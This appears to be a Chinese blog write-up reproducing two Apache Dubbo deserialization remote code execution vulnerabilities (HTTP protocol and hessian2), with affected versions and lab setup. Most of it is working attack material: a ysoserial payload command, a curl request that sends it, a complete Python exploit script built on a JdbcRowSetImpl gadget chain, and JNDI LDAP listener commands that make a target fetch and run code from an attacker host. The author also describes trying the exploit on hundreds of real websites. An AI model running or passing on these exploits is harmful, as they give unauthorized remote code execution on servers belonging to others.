Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。
Apache Dubbo支持多种协议,官方默认为 Dubbo 协议,但是当用户选择http协议进行通信时,Apache Dubbo 在接受来自消费者的远程调用的POST请求的时候会执行一个反序列化的操作,由于没有任何安全校验,于是可以造成反序列化执行任意代码。
2.7.0 <= Apache Dubbo <= 2.7.4.1
2.6.0 <= Apache Dubbo <= 2.6.7
Apache Dubbo = 2.5.x
使用 https://github.com/apache/dubbo-samples
中的 dubbo-samples-http
:
用IDEA打开后修改pom.xml中的dubbo.version到有漏洞的版本。
还需要使用zookeeper,下载zookeeper后,修改conf 文件夹中的 zoo_sample.cfg 文件名称为zoo.cfg,添加这两行,并创建这两个目录,运行bin\zkServer.cmd文件启动zookeeper。
zookeeper启动还会占用8080端口启动个jetty,会和burp的8080代理端口冲突
尝试启动dubbo,看是否能启动成功,在这里踩了很多坑:
spring/http-provider.xml
这个文件配置的tomcat也是用的8080,改成了8081搞完这些,这个项目才正常跑起来,为了测试方便,还需要下载并导入commons-collections4
这个包,不然发送payload后又提示缺少包。
ysoserial生成payload,
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections4 "calc" > payload.out
发送生成payload,漏洞地址为org.apache.dubbo.samples.http.api.DemoService
:
curl http://127.0.0.1:8081/org.apache.dubbo.samples.http.api.DemoService --data-binary @payload.out
弹出计算器:
网上所有文章复现都是在打/org.apache.dubbo.samples.http.api.DemoService
,然后就以为所有dubbo都会有这个地址。。。。结果试了几百个站全是404。。。(搞完感觉自己是个憨憨)
改过之后再又重新测了一遍,基本没有用http协议的,大多用的还是dubbo协议。。。
Dubbo 2.7.6或更低版本采用hessian2实现反序列化,其中存在反序列化远程代码执行漏洞。攻击者可以发送未经验证的服务名或方法名的RPC请求,同时配合附加恶意的参数负载。当服务端存在可以被利用的第三方库时,恶意参数被反序列化后形成可被利用的攻击链,直接对Dubbo服务端进行恶意代码执行。
2.7.0 <= Apache Dubbo <= 2.7.7
2.6.0 <= Apache Dubbo <= 2.6.7
Apache Dubbo 全部 2.5.x 版本
利用脚本如下
需要安装依赖 pip install dubbo-py
import sys
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
if len(sys.argv) < 4:
print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
sys.exit()
client = DubboClient(sys.argv[1], int(sys.argv[2]))
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource=sys.argv[3],
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。
method_name='$invoke',
args=[toStringBean])
output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
print('[+] Succeed.')
else:
print('[!] Output:')
print(output)
print('[!] Target maybe not use dubbo-remoting library.')
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
开启个ldap监听,执行ping命令,然后运行上面的poc
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping xxxxxx"
python poc.py www.target.com 12345 ldap://www.yourweb:1389/exp
查看dnslog,发现命令成功执行